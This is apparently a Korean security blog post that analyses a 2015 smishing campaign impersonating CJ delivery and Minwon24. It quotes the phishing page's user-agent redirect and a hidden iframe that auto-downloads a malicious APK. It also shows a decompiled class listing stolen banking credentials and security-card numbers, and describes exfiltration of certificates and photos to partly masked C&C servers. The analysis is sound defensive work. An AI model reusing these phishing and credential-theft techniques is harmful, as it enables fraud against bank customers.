annyoung

특정 대상에게만 유포되는 CJ택배 스미싱 본문

분석생활

특정 대상에게만 유포되는 CJ택배 스미싱

nopsled 2015. 4. 12. 21:21


<!doctype html>

<html lang="ko" xml:lang="ko">

<head>

<meta charset="utf-8">

<title>민원24</title>

<meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no">

<link rel="stylesheet" href="css/base.css" type="text/css">

<script>

var isANDROID = (navigator.userAgent.match('Android') != null);

if(!isANDROID){ 

// NOT isANDROID

window.location="https://www.doortodoor.co.kr/main/index.jsp";

}

</script> // 안드로이드가 아닌경우 doortodoor.co.kr로 페이지 변경

먼저.. User-Agent를 체크하여 Android가 아닌 경우엔 doortodoor.co.kr로 페이지를 리다이렉션 시킨다.


안드로이드인 경우에만 페이지를 볼 수 있다.


따라서 User-Agent는 간단하게 Header를 조작하여 Android로 바꿔준다.(필자의 경우 Chrome의 User Switcher for chrome을 사용하여 Android로 변경)




[민원24를 가장한 피싱 메인 페이지]

[핸드폰 번호가 다른 경우] 

- 사실상 "2회 남음"에 대해서 언급을 하는데 거짓말이다. 무한대로 시도가 가능함.




[핸드폰 번호가 맞는 경우]

- 안드로이드 애플리케이션을 다운로드할 수 있음.

실제 CJ대한통운 모바일 사이트와 똑같게 만들어졌으며 핸드폰 번호를 입력하여 서버단에서 해당 번호가 DB에 저장되어 있는지 검사한다.




function checkMobile(){
var agent = navigator.userAgent;
var obj = document.getElementById("_body");
if (agent.match(/iPhone/) != null || agent.match(/iPod/) != null) {
obj.style.height = "100%";
}else {
//obj.style.height = "200%";
}


<script type="text/javascript">

window.addEventListener("load", function(){

setTimeout(loaded, 100);

}, false);


function loaded()

{

    window.scrollTo(0, 1);

}

function iphoneDw(){

location.href = "https://itunes.apple.com/kr/app/min-won24-mobail/id586454505?mt=8";

</script> 

핸드폰번호가 맞으면 타입에 맞는 애플리케이션을 자동으로 다운 받게 된다.

아이폰, 아이팟의 경우 앱스토어의 정상 app으로 리다이렉션시켜서 의미 없는 짓을 하게 한다.



 <iframe src="010-1234-1234.apk" width="0" height="0"></iframe>

안드로이드의 경우 페이지 소스 보기 가장 하단부분에 iframe을 이용하여 자동으로 다운받게 한다.

여기서 설치는 사용자 몫이다. 다운로드 되는 파일의 정보는 다음의 그림과 함께 표로 정리하였다.





 FileName

 010-1234-1234.apk

 MD5

 76190C6D386D21C88A60F2147EC2B8D8

 SHA-1

 EE145C524B3580FBD017CCBFA183DE07E2AA7358

해당 애플리케이션의 경우 SERVER_HOST가 com.tglc9q.d0r955 패키지에 선언되어 있었다. 처음에는 가짜 C&C주소 인줄 알았는데 설마가 사람잡는다. 진짜로 C&C더라.. 아무튼.. 해당 애플리케이션의 요점만 정리하여 크게크게 포스팅한다. 상세히 포스팅할 시간이 없어서..ㅎㅎㅎ




정상 뱅킹앱을 악성 뱅킹앱으로 교체하기 위한 악성 애플리케이션이다.

대상은 농협은행, 신한은행, 하나은행, 우리은행(원터치개인이 우리였나..)가 애플리케이션 교체 대상이다.

위에서 두번째 변수를 보면 APK_URL = SERVER_HOST + "/Apk/";로 되어 있는데 악성앱의 위치를 나타낸다.

이 말은 즉슨, http://113.10.136.***/Apk/KR_NHBank.apk에 접속하여 애플리케이션을 받을 수 있다.




 FileName

 KR_HNBank.apk

 MD5

 3D3DEF5D4227FAD23AEE45ECBA0C2727

 SHA-1

 25550A95C778862570A0729B9D056385B86F8A79


 FileName

 KR_NHBank.apk

 MD5

 49D0A83B73CD9A515FFC0FC554AABBA6

 SHA-1

 627721A3B400DF3830EF6D834BC67D8AE486A052


 FileName

 KR_SHBank.apk

 MD5

 E75A2360122D7EA8CEAA0711889CCA7A

 SHA-1

 C283F4A4213AB0C3EBCB67E3C67AAC97FEBDD706


 FileName

 KR_WRBank.apk

 MD5

 17252A38C16E46A3D23FBBB2C0EE3AE8

 SHA-1

 32123CBCC2B0B5A1527C283D43B9CEA069DB5ED4

[표] 뱅킹앱 교체에 사용되는 파일들의 정보



package com.nhmmi;

public class BankInfo

{

  public static String bank;

  ~~생략~~

  public static String sn9;

  

  static

  {

    jumin1 = ""; // 주민등록번호 앞자리

    jumin2 = ""; // 주민등록번호 뒷자리

    phone1 = ""; // 휴대폰 앞자리 010

    phone2 = ""; // 휴대폰 중간자리 0000

    phone3 = ""; // 휴대폰 뒷자리 0000

    bank = ""; // 은행명

    bankinid = ""; // 은행 로그인 아이디

    jumin = ""; // 주민등록번호

    banknum = ""; // 은행 계좌번호

    banknumpw = ""; // 은행 계좌 비밀번호

    paynum = ""; 

    scard = ""; 

    paypwd = ""; // 결제 비밀번호

    sn1 = ""; // 보안카드 1번자리

    sn2 = ""; // 보안카드 2번자리

    ~~생략~~

    sn35 = ""; // 보안카드 35번자리

    datetime = "";

    renzheng = "";

  }

}

위 소스 코드는 KR_NHBank.apk를 디컴파일한 내용이며 대략 저러한 내용들을 유출한다.



NPKI(공인인증서)를 압축하여 유출지 서버로 업로드한다.



전면 사진도 찍어서 유출지 서버로 업로드한다. (왜지? 스카이프 몸캠?)




EMAIL은 왜 있는지 모르겠다. 맨처음부터 끝까지 다 찾아봤는데 phoneListner013@126.com 비밀번호가 안나와! 게다가 STMP 라이브러리도 사용하지 않고.. 그냥 장식인가?



유포지

113.10.136.*** 

유출지

210.209.117.***

분석하다가 알게 된 사실인데, 유출서버와 유포서버는 각각 다른 서버로 운영되고 있었다.





유출지 서버는 역시 당연한거지만 어드민 페이지가 존재했다.

참 해커답게 그럴뜻하게 꾸며놨다. 어드민 페이지가 한국어인걸 보아하니 해당 스미싱 솔루션 제작자가 한국인이거나 우두머리가 한국인이라는걸 알 수 있겠다.



Comments